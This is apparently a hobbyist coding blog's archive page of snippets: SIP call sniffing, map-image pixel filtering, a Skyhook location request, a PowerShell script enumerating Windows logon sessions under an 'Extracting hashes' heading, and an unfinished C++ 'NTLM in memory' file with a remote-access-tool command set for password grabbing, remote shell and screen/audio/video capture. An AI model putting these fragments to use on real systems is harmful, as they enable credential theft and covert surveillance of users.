{ //Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call Concluded"); RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); return; } ByeServerList.Add(m.Value); } Debug.WriteLine(DateTime.Now.ToString() + " - " +"Call ending from Callee: " + myFrom + " -> " + myTo); MatchCollection matches2 = Regex.Matches(Data, @"RTP-RxStat: Dur=[\d]+,"); // Loop over matches. foreach (Match m in matches2) { myDuration = m.Value.ToString().Replace("RTP-RxStat: Dur=", "").Replace(",", ""); Debug.WriteLine(DateTime.Now.ToString() + " - " + "BYEServer: Duration of call in seconds: " + myDuration); } if (myDuration != null) { Int32 ISeconds = Convert.ToInt32(myDuration) + 60; Double DSeconds = Convert.ToDouble(ISeconds); if (!AddCallLog(" " + myFrom + " -> " + myTo, DSeconds)) //Add a minute to each call. Each call takes at least a minute of our day right? { Debug.WriteLine(DateTime.Now.ToString() + " - " +"Failed to write calllog"); //break; } } } if (Data.Contains("Accepted")) Debug.WriteLine(DateTime.Now.ToString() + " - " +"Accepted: " + myFrom + " -> " + myTo); switch (MyStateObject.buffer[33]) { case 0x2: { break; } case 0x10: { break; } case 0x11: { break; } case 0x12: { break; } case 0x14: { break; } case 0x18: { //Debug.Write("[PSH, ACK] - "); break; } default: { break; } } break; } case 0x11: { break; } default: { break; } } // For i = 0 To BytesReturned - 1 // Debug.Write(Hex$(MyStateObject.buffer(i)) & " ") // If i = 9 Or i = 19 Or i = 29 Or i = 39 Or i = 49 Then Debug.WriteLine(DateTime.Now.ToString() + " - " +"") // Next // Debug.WriteLine(DateTime.Now.ToString() + " - " +"") // Debug.WriteLine(DateTime.Now.ToString() + " - " +"") // RAWSocket.BeginReceive(MyStateObject.buffer, 0, 65535, System.Net.Sockets.SocketFlags.None, new AsyncCallback(SockCallBack), null); } #region VSTO generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InternalStartup() { this.Startup += new System.EventHandler(ThisAddIn_Startup); this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown); } #endregion } } |
Monthly Archives: January 2020
Extracting Street Data from GoogleMaps Street image
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 |
Public Class Form1 Dim Cycles As Integer = 0 Dim DictionaryListUsed As New Dictionary(Of Color, Integer) Dim DictionaryList As New Dictionary(Of Color, Integer) Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Dim img As Bitmap = New Bitmap("C:\Users\User\Desktop\GoogleMap.png") Dim x, y As Integer Using G As Graphics = Me.CreateGraphics Dim BMP As New Bitmap(img.Width, img.Height) Dim BMP2 As New Bitmap(img.Width, img.Height) Dim pixel As Color = Nothing For x = 0 To img.Width - 1 For y = 0 To img.Height - 1 pixel = img.GetPixel(x, y) If (DictionaryList.ContainsKey(pixel)) Then DictionaryList(pixel) += 1 Else DictionaryList.Add(pixel, 1) End If If pixel.R >= 252 And pixel.G = pixel.R And pixel.B = pixel.R Then 'WhiteWhite BMP2.SetPixel(x, y, Color.Red) 'Continue For End If If pixel.R = 237 And pixel.G = 235 And pixel.B = 232 Then 'Grayer 'Continue For End If If pixel.R > 215 And pixel.R < 250 And ((pixel.G = pixel.R) Or ((pixel.G <= (pixel.R + 6)) And (pixel.G >= (pixel.R - 6)))) And ((pixel.B = pixel.R) Or ((pixel.B <= (pixel.R + 6)) And (pixel.B >= (pixel.R - 6)))) Then 'Some shade of Gray Continue For End If If (DictionaryListUsed.ContainsKey(pixel)) Then DictionaryListUsed(pixel) += 1 Else DictionaryListUsed.Add(pixel, 1) End If BMP.SetPixel(x, y, pixel) Cycles += 1 'Debug.WriteLine(x & "," & y & " - " & pixel.ToString) Next Next Debug.WriteLine(Cycles) 'G.DrawImage(BMP, New Point(10, 10)) PictureBox1.Image = BMP 'G.DrawImage(BMP2, New Point(10, 10)) PictureBox2.Image = BMP2 End Using Dim sorted = From pair In DictionaryListUsed Order By pair.Value Descending Dim sortedDictionary = sorted.ToDictionary(Function(p) p.Key, Function(p) p.Value) Dim sorted2 = From pair In DictionaryList Order By pair.Value Descending Dim sortedDictionary2 = sorted2.ToDictionary(Function(p) p.Key, Function(p) p.Value) 'PictureBox1.BackColor = sortedDictionary2.First().Key 'End RepairRoad() End Sub Private Sub RepairRoad() Dim MyColor As Color = Color.FromArgb(255, 254, 0, 0) Dim img As Bitmap = PictureBox2.Image Dim pixel As Color = Nothing Dim Count As Integer = 0 For x = 0 To img.Width - 1 For y = 0 To img.Height - 1 pixel = img.GetPixel(x, y) If pixel.R = 255 And pixel.G = 0 And pixel.B = 0 Then Count = CheckSurroundingPixelForColor(img, New Point(x, y), Color.Red) If Count > 3 Then SetSurroundingPixelToColor(img, New Point(x, y), MyColor) Else Debug.WriteLine(Count) End If 'Debug.WriteLine(pixel) 'System.Diagnostics.Debugger.Break() End If Next Next End Sub Private Function CheckSurroundingPixelForColor(ByVal MyBitmap As Bitmap, ByVal mypoint As Point, ByVal MyColor As Color) As Integer 'Returns number of surrounding pixels Dim Count As Integer = 0 If mypoint.X > 0 Then If MyBitmap.GetPixel(mypoint.X - 1, mypoint.Y).ToArgb = MyColor.ToArgb Then Count += 1 If mypoint.Y > 0 Then If MyBitmap.GetPixel(mypoint.X - 1, mypoint.Y - 1).ToArgb = MyColor.ToArgb Then Count += 1 End If If mypoint.Y < MyBitmap.Height - 1 Then If MyBitmap.GetPixel(mypoint.X - 1, mypoint.Y + 1).ToArgb = MyColor.ToArgb Then Count += 1 End If End If If mypoint.Y > 0 Then If MyBitmap.GetPixel(mypoint.X, mypoint.Y - 1).ToArgb = MyColor.ToArgb Then Count += 1 If mypoint.X < MyBitmap.Width - 1 Then If MyBitmap.GetPixel(mypoint.X + 1, mypoint.Y - 1).ToArgb = MyColor.ToArgb Then Count += 1 End If End If If mypoint.Y < MyBitmap.Height - 1 Then If MyBitmap.GetPixel(mypoint.X, mypoint.Y + 1).ToArgb = MyColor.ToArgb Then Count += 1 End If If mypoint.X < MyBitmap.Width - 1 Then If MyBitmap.GetPixel(mypoint.X + 1, mypoint.Y + 1).ToArgb = MyColor.ToArgb Then Count += 1 End If End If If mypoint.X < MyBitmap.Width - 1 Then If MyBitmap.GetPixel(mypoint.X + 1, mypoint.Y).ToArgb = MyColor.ToArgb Then Count += 1 End If Return Count End Function Private Function SetSurroundingPixelToColor(ByVal MyBitmap As Bitmap, ByVal mypoint As Point, ByVal MyColor As Color) As Integer 'Returns number of surrounding pixels On Error Resume Next MyBitmap.SetPixel(mypoint.X - 1, mypoint.Y - 1, MyColor) MyBitmap.SetPixel(mypoint.X - 1, mypoint.Y, MyColor) MyBitmap.SetPixel(mypoint.X - 1, mypoint.Y + 1, MyColor) MyBitmap.SetPixel(mypoint.X, mypoint.Y - 1, MyColor) MyBitmap.SetPixel(mypoint.X, mypoint.Y + 1, MyColor) MyBitmap.SetPixel(mypoint.X + 1, mypoint.Y - 1, MyColor) MyBitmap.SetPixel(mypoint.X + 1, mypoint.Y, MyColor) MyBitmap.SetPixel(mypoint.X + 1, mypoint.Y + 1, MyColor) End Function Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown Dim bmp As Bitmap = New Bitmap(PictureBox1.Image) Dim colour As Color = bmp.GetPixel(e.X, e.Y) Label1.Text = colour.ToString() bmp.Dispose() End Sub End Class |
Skyhook API with VB.net
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
Imports System.IO Imports System.Net Imports System.Text Public Class Form1 Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load SendHTTPSPost() End Sub Sub SendHTTPSPost() ' Create a request using a URL that can receive a post. Dim request As WebRequest = WebRequest.Create("https://api.skyhookwireless.com/wps2/location") 'Dim request As WebRequest = WebRequest.Create("https://global.skyhookwireless.com/wps2/location") ' Set the Method property of the request to POST. request.Method = "POST" ' Create POST data and convert it to a byte array. Dim XML As String XML = "<LocationRQ xmlns='https://skyhookwireless.com/wps/2005' version='2.6' street-address-lookup='full'>" XML &= "<authentication version='2.0'>" If True Then XML &= "<key key='PUTYOUR-KEYHERE' username='name'/>" Else XML &= "<simple>" XML &= "<username>beta</username>" XML &= "<realm>js.loki.com</realm>" XML &= "</simple>" End If XML &= "</authentication>" XML &= "<access-point>" XML &= "<mac>10DA438900E0</mac>" XML &= "<signal-strength>-50</signal-strength>" XML &= "</access-point>" XML &= "</LocationRQ>" 'Dim postData As String = "Content-Length: " & XMLExploit.Length & vbCrLf & vbCrLf & XMLExploit Dim postData As String = XML Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData) ' Set the ContentType property of the WebRequest. request.ContentType = "text/xml" ' Set the ContentLength property of the WebRequest. request.ContentLength = byteArray.Length ' Get the request stream. Dim dataStream As Stream = request.GetRequestStream() ' Write the data to the request stream. dataStream.Write(byteArray, 0, byteArray.Length) ' Close the Stream object. dataStream.Close() ' Get the response. Dim response As WebResponse = request.GetResponse() ' Display the status. Console.WriteLine(CType(response, HttpWebResponse).StatusDescription) ' Get the stream containing content returned by the server. dataStream = response.GetResponseStream() ' Open the stream using a StreamReader for easy access. Dim reader As New StreamReader(dataStream) ' Read the content. Dim responseFromServer As String = reader.ReadToEnd() ' Display the content. RichTextBox1.Text &= responseFromServer ' Clean up the streams. reader.Close() dataStream.Close() response.Close() End Sub End Class |
Powershell and Extracting hashes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 |
Remove-Variable * -ErrorAction SilentlyContinue; Remove-Module *; $error.Clear(); $MethodDefinition = @’ [DllImport("Secur32.dll", CharSet = CharSet.Unicode)] public static extern uint LsaEnumerateLogonSessions(out UInt64 LogonSessionCount, out IntPtr LogonSessionList); [DllImport("Secur32.dll", CharSet = CharSet.Unicode)] public static extern uint LsaGetLogonSessionData(IntPtr luid, out IntPtr ppLogonSessionData); ‘@ $Secur32 = Add-Type -MemberDefinition $MethodDefinition -Name ‘Secur32’ -Namespace ‘Secur32’ -PassThru add-type -PassThru -TypeDefinition @" using System; using System.Collections; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Security.Principal; using System.Text; namespace Ansible { [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct LSA_UNICODE_STRING { public UInt16 Length; public UInt16 MaximumLength; public IntPtr buffer; } [StructLayout(LayoutKind.Sequential)] public struct LUID { public UInt32 LowPart; public Int32 HighPart; } [StructLayout(LayoutKind.Sequential)] public class SECURITY_LOGON_SESSION_DATA { public UInt32 Size; public LUID LoginID; public LSA_UNICODE_STRING Username; public LSA_UNICODE_STRING LoginDomain; public LSA_UNICODE_STRING AuthenticationPackage; public UInt32 LogonType; public UInt32 Session; public IntPtr PSiD; public UInt64 LoginTime; public LSA_UNICODE_STRING LogonServer; public LSA_UNICODE_STRING DnsDomainName; public LSA_UNICODE_STRING Upn; }} "@ function LsaEnumerateLogonSessions { <# .SYNOPSIS The LsaEnumerateLogonSessions function retrieves the set of existing logon session identifiers (LUIDs) and the number of sessions. .DESCRIPTION To retrieve information about the logon sessions returned by LsaEnumerateLogonSessions, call the LsaGetLogonSessionData function. .NOTES Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa378275(v=vs.85).aspx .EXAMPLE LsaEnumerateLogonSessions 8 2390553591808 .EXAMPLE $SessionCount, $LogonSessionListPtr = LsaEnumerateLogonSessions #> <# (func secur32 LsaEnumerateLogonSessions ([UInt32]) @( [UInt64].MakeByRefType(), #_Out_ PULONG LogonSessionCount, [IntPtr].MakeByRefType() #_Out_ PLUID *LogonSessionList )) #> $LogonSessionCount = [UInt64]0 $LogonSessionList = [IntPtr]::Zero $SUCCESS = $Secur32::LsaEnumerateLogonSessions([ref]$LogonSessionCount, [ref]$LogonSessionList) if($SUCCESS -ne 0) { $WinErrorCode = LsaNtStatusToWinError -NtStatus $success $LastError = [ComponentModel.Win32Exception]$WinErrorCode throw "LsaEnumerateLogonSessions Error: $($LastError.Message)" } return $LogonSessionCount, $LogonSessionList } function LsaGetLogonSessionData { <# .SYNOPSIS The LsaGetLogonSessionData function retrieves information about a specified logon session. .DESCRIPTION .Parameter LuidPtr .Parameter SessionCount .NOTES Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: LsaNtStatusToWinError, SECURITY_LOGON_SESSION_DATA (Struct), SECURITY_LOGON_TYPE (Enum) Optional Dependencies: None (func secur32 LsaGetLogonSessionData ([UInt32]) @( [IntPtr], #_In_ PLUID LogonId, [IntPtr].MakeByRefType() #_Out_ PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData ) -EntryPoint LsaGetLogonSessionData) .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa378290(v=vs.85).aspx .EXAMPLE #> param ( [Parameter(Mandatory = $true)] [IntPtr] $LuidPtr, [Parameter(Mandatory = $true)] [UInt32] $SessionCount ) $CurrentLuidPtr = $LuidPtr for($i = 0; $i -lt $SessionCount; $i++) { $sessionDataPtr = [IntPtr]::Zero $SUCCESS = $Secur32::LsaGetLogonSessionData($CurrentLuidPtr, [ref]$sessionDataPtr) if($SUCCESS -ne 0) { $WinErrorCode = LsaNtStatusToWinError -NtStatus $success $LastError = [ComponentModel.Win32Exception]$WinErrorCode throw "LsaGetLogonSessionData Error: $($LastError.Message)" } try { Write-Host $sessionDataPtr.GetType() #$SECURITY_LOGON_SESSION_DATA $SECURITY_LOGON_SESSION_DATA = new-object Ansible.SECURITY_LOGON_SESSION_DATA #Write-Host $SECURITY_LOGON_SESSION_DATA.GetType() [Ansible.SECURITY_LOGON_SESSION_DATA]$sessionData = [system.runtime.interopservices.marshal]::PtrToStructure($sessionDataPtr,[type]$SECURITY_LOGON_SESSION_DATA) #$sessionData = $sessionDataPtr -as Ansible.SECURITY_LOGON_SESSION_DATA [Ansible.SECURITY_LOGON_SESSION_DATA]$sessionData = $sessionDataPtr Write-Host $sessionData.Username $props = @{ LogonId = $sessionData.LogonId.LowPart UserName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.Username.Buffer, $sessionData.Username.Length / 2) LogonDomain = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.LogonDomain.Buffer, $sessionData.LognDomain.Length / 2) AuthenticationPackage = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.AuthenticationPackage.Buffer, $sessionData.AuthenticationPackage.Length / 2) LogonType = $sessionData.LogonType -as $SECURITY_LOGON_TYPE Session = $sessionData.Session Sid = New-Object -TypeName System.Security.Principal.SecurityIdentifier($sessionData.PSiD) LogonTime = [datetime]::FromFileTime($sessionData.LogonTime) LogonServer = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.LogonServer.Buffer, $sessionData.LogonServer.Length / 2) DnsDomainName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.DnsDomainName.Buffer, $sessionData.DnsDomainName.Length / 2) Upn = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.Upn.Buffer, $sessionData.Upn.Length / 2) UserFlags = $sessionData.UserFlags LastSuccessfulLogon = $sessionData.LastLogonInfo.LastSuccessfulLogon LastFailedLogon = $sessionData.LastLogonInfo.LastFailedLogon FailedAttemptCountSinceLastSuccessfulLogon = $sessionData.LastLogonInfo.FailedAttemptCountSinceLastSuccessfulLogon LogonScript = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.LogonScript.Buffer, $sessionData.LogonScript.Length / 2) ProfilePath = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.ProfilePath.Buffer, $sessionData.ProfilePath.Length / 2) HomeDirectory = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.HomeDirectory.Buffer, $sessionData.HomeDirectory.Length / 2) HomeDirectoryDrive = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($sessionData.HomeDirectoryDrive.Buffer, $sessionData.HomeDirectoryDrive.Length / 2) LogoffTime = $sessionData.LogoffTime KickOffTime = $sessionData.KickOffTime PasswordLastSet = [datetime]::FromFileTime($sessionData.PasswordLastSet) PasswordCanChange = [datetime]::FromFileTime($sessionData.PasswordCanChange) PasswordMustChange = $sessionData.PasswordMustChange } $obj = New-Object -TypeName psobject -Property $props Write-Output $obj } catch { write-host $_ exit } #LsaFreeReturnBuffer -Buffer $sessionDataPtr $CurrentLuidPtr = [IntPtr]($CurrentLuidPtr.ToInt64() + $LUID::GetSize()) } } $SessionCount, $LuidPtr = LsaEnumerateLogonSessions $Sessions = LsaGetLogonSessionData -LuidPtr $LuidPtr -SessionCount $SessionCount |
Pulling NTLM In Memory with C++
Work in progress
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 |
// ReadBridge.cpp : Defines the entry point for the console application. // #include "stdafx.h" #define _WINSOCK_DEPRECATED_NO_WARNINGS #define _WINSOCK_DEPCRECATED #include "ReadBridge.h" #include "winternl.h" #ifdef _DEBUG #define new DEBUG_NEW #endif class CModuleSocket { public: CModuleSocket(void); ~CModuleSocket(void); UINT32 ConnectServer(IN const char* pIpAddr, OUT SOCKET* pSocket, OUT bool* pbSuccess); //Á¬½Ó·þÎñÆ÷ UINT32 SendCommand(IN const SOCKET socket, IN char* szBuf, IN int bytes, OUT bool* pbSuccess); //·¢ËÍÏûÏ¢ UINT32 RecvCommand(IN const SOCKET socket, OUT char* szBuf, OUT int bytes, OUT bool *pbSuccess); //½ÓÊÜÏûÏ¢ void Clean(); public: UINT m_nPort; //Á¬½Ó¶Ë¿Ú }; #pragma once #include <windows.h> //Êý¾Ý´«ÊäµÄ»º³åÇø´óС #define CONTEXT_BUF_SIZE (1024 * 4) //IPµØÖ·»º³åÇø´óС #define IPADDR_SIZE 32 //´ÓÍøÒ³»ñÈ¡IPµØÖ·µÄÐÅÏ¢»º³åÇø #define WEBSITE_BUF_SIZE 512 //ÆÁÄ»´«ÊäµÄ»º³åÇø´óС #define SCREEN_BUF_SIZE 4030 //ÊÓÆÁ´«Ê仺³åÇø´óС #define VIDEO_BUF_SIZE 4020 //ÓïÒô´«Ê仺³åÇø´óС #define AUDIO_BUF_SIZE 4078 //¼ôÌù°å´«Ê仺³åÇø´óС #define CLIPBOARD_BUF_SIZE 4078 //--------------------------------------------------- //Ö¸ÁîµÄºê¶¨Òå #define CMD_SHAKEHAND 0x01 //ÎÕÊÖÑéÖ¤ #define CMD_SYSINFO 0x02 //ϵͳÐÅÏ¢ #define CMD_DISKINFO 0x03 //´ÅÅÌÐÅÏ¢ #define CMD_FILELIST 0x04 //Îļþ¼ÐÐÅÏ¢ #define CMD_DOWNLOAD 0x05 //ÎļþÏÂÔØ #define CMD_UPLOAD 0x06 //ÎļþÉÏ´« #define CMD_FILEUPLOAD 0x07 //ÎļþÊý¾ÝÉÏ´« #define CMD_FILEEXEC 0x08 //ÎļþÖ´ÐÐ #define CMD_REFRESH 0x09 //ˢР#define CMD_FOLDER_CREATE 0x10 //´´½¨Ä¿Â¼(Îļþ¼Ð) #define CMD_FILE_DEL 0x11 //Îļþ£¨¼Ð£©É¾³ý #define CMD_FILE_COPY 0x12 //ÎļþµÄ¸´ÖÆ #define CMD_FILE_PASTE 0x13 //ÎļþµÄÕ³Ìù #define CMD_FILE_RENAME 0x14 //Îļþ(¼Ð)ÖØÃüÃû #define CMD_ATTRIBUTE 0x15 //ÊôÐÔ #define CMD_TELNET 0x16 //¿ªÆôÔ¶³ÌÖÕ¶Ë #define CMD_COMMOND 0x17 //·¢ËÍÃüÁî #define CMD_CHATMSG 0x18 //ÁÄÌìÏûÏ¢ #define CMD_PROGRESS 0x19 //½ø³Ì¹ÜÀí #define CMD_PROC_TASKKILL 0x20 //¹Ø±Õ½ø³Ì #define CMD_SCREEN 0x21 //ÆÁÄ»²é¿´ #define CMD_GETPWD 0x22 //»ñȡϵͳµÄÕʺÅÃÜÂë #define CMD_VIDEO_VIEW 0x23 //ÊÓÆÁ²é¿´ #define CMD_OPERATOR 0x24 //¹Ø»ú/×¢Ïú/ÖØÆô #define CMD_AUDIO 0x25 //ÓïÒô¼àÌý #define CMD_BROADCAST 0x26 //Ô¶³ÌÃüÁî¹ã²¥ #define CMD_DESKTOP 0x27 //×ÀÃæ¹ÜÀí //----------------------------------------------------- typedef struct tagMSGINFO //´«ÊäÏûÏ¢½á¹¹Ìå { int Msg_id; BYTE context[CONTEXT_BUF_SIZE]; }MSGINFO_S; typedef struct tagSYSTEMINFO //²Ù×÷ϵͳÐÅÏ¢ { char szWANIP[IPADDR_SIZE]; //¹«ÍøIPµØÖ· char szLocalIP[IPADDR_SIZE]; //±¾»úIPµØÖ· char hostName[255]; //¼ÆËã»úÃû bool Cam; //ÉãÏñÍ· int OSVer; //²Ù×÷ϵͳ°æ±¾ wchar_t szCPUInfo[MAX_PATH]; //cpuÐÅÏ¢ DWORD dwDiskSize; //Ó²ÅÌÐÅÏ¢ }SYSTEMINFO_S; typedef struct tagDRIVER //´ÅÅÌÐÅÏ¢ { wchar_t disk; //´ÅÅÌÃû double dwTotal; //´ÅÅ̵ĴóС double dwFree; //Ê£Óà¿Õ¼ä int nType; //ÀàÐÍ }DRIVER_S; typedef struct tagFILEINFO //ÎļþÐÅÏ¢ { TCHAR szFileName[MAX_PATH]; //ÎļþÃû int nType; //ÎļþÀàÐÍ(Îļþ\Îļþ¼Ð) __int64 size; //Îļþ´óС }FILEINFO_S; typedef struct tagTEMPSTRUCT //ÔÚÎļþÏÂÔعý³ÌÖеÄÁÙʱ½á¹¹Ìå { DWORD cFileInfo; //CFileInfoÀàµÄÖ¸Õë SOCKET l_Socket; //socket¶ÔÏó BYTE context[MAX_PATH]; //Îļþ·¾¶ }TEMPSTRUCT; typedef struct tagDOWNFILEDATA //Îļþ´«ÊäÊý¾Ý¿é½á¹¹ { BYTE context[512]; //¿éÊý¾ÝµÄ´óС UINT size; //Îļþ´óС UINT nCount; //´ÎÊý£¬ÓÃÓÚ½ø¶ÈÌõµÄÏÔʾ bool bFlag; //ÎļþÊÇ·ñ´«ÊäÍê±Ï }DOWNFILEDATA_S; typedef struct tagFILEEXECINFO //ÎļþÖ´Ðнá¹ûÐÅÏ¢ { wchar_t szFilePath[MAX_PATH]; //ÎļþÃû bool bSuccess; //Ö´Ðнá¹û }FILEEXECINFO_S; typedef struct tagFILEDELSTRUCT //Îļþ£¨¼Ð£©É¾³ý´«µÝÏ̵߳ĽṹÌå { DWORD cDiskInfo; //CDiskÀàµÄÖ¸Õë SOCKET l_Socket; //socket¶ÔÏó FILEINFO_S tagFileInfo; //ÎļþÀàÐͽṹÌå }FILEDELSTRUCT_S; typedef struct tagFILECOPY //Îļþ¸´Öƽá¹ûÐÅÏ¢ { wchar_t szFilePath[MAX_PATH]; //Îļþȫ·¾¶ wchar_t szFileName[MAX_PATH]; //ÎļþÃû bool bTag; //ÊÇ·ñ·¢ËÍÍê±Ï }FILECOPY_S; typedef struct tagATTRIBUTE //ÊôÐÔ { wchar_t szFilePath[MAX_PATH]; //ÎļþËùÔÚµÄĿ¼ wchar_t szFileName[MAX_PATH]; //ÎļþÃû int nType; //Îļþ(¼Ð)ÀàÐÍ SYSTEMTIME sysCreateTime; //´´½¨Ê±¼ä SYSTEMTIME sysModifyTime; //ÐÞ¸Äʱ¼ä SYSTEMTIME sysVisitTime; //·ÃÎÊʱ¼ä bool bArchive; //´æµµ bool bReadOnly; //Ö»¶Á bool bHide; //Òþ²Ø bool bSystem; //ϵͳ }ATTRIBUTE_S; typedef struct tagCMD //CMDÃüÁîÐÅÏ¢ { int flag; //½á¹¹Ìå±£Áô×ֶΠchar command[1024]; //ÃüÁîÐÐ }COMMOND_S; typedef struct tagCHATMSG //ÁÄÌìÏûÏ¢ { bool bfirstSend; //ÊÇ·ñµÚÒ»´Î·¢ËÍÐÅÏ¢ bool bClose; //ÊÇ·ñ¹Ø±Õ wchar_t szChatMsg[1024]; //ÁÄÌìÄÚÈÝ }CHATMSG_S; typedef struct tagPROGRESS //½ø³ÌÁбíÐÅÏ¢ { wchar_t szProName[MAX_PATH]; //½ø³ÌÃû DWORD nPid; //½ø³ÌIDºÅ int nThreadCount; //Ïß³Ì×ÜÊý int nLevel; //½ø³Ì¼¶±ð wchar_t szProPath[MAX_PATH]; //½ø³Ì·¾¶ int nTag; //½áÊøµô½ø³ÌÊDz»Êdzɹ¦ÁË(±£Áô¹Ø¼ü×Ö) }PROGRESS_S; typedef struct tagBMPHEADINFO //BMPλͼͷÐÅÏ¢ { BITMAPINFO tagBitmapInfo; //λͼÐÅÏ¢ }BMPHEADINFO_S; typedef struct tagBMPDATA //BMPͼÏñÊý¾Ý { BITMAPINFO bmpinfo; //λͼÐÅÏ¢ int Id; bool bShow; //ÊÇ·ñ¿ÉÒÔÏÔʾͼÏñ int Size; int HeadSize; UINT Begin; BYTE 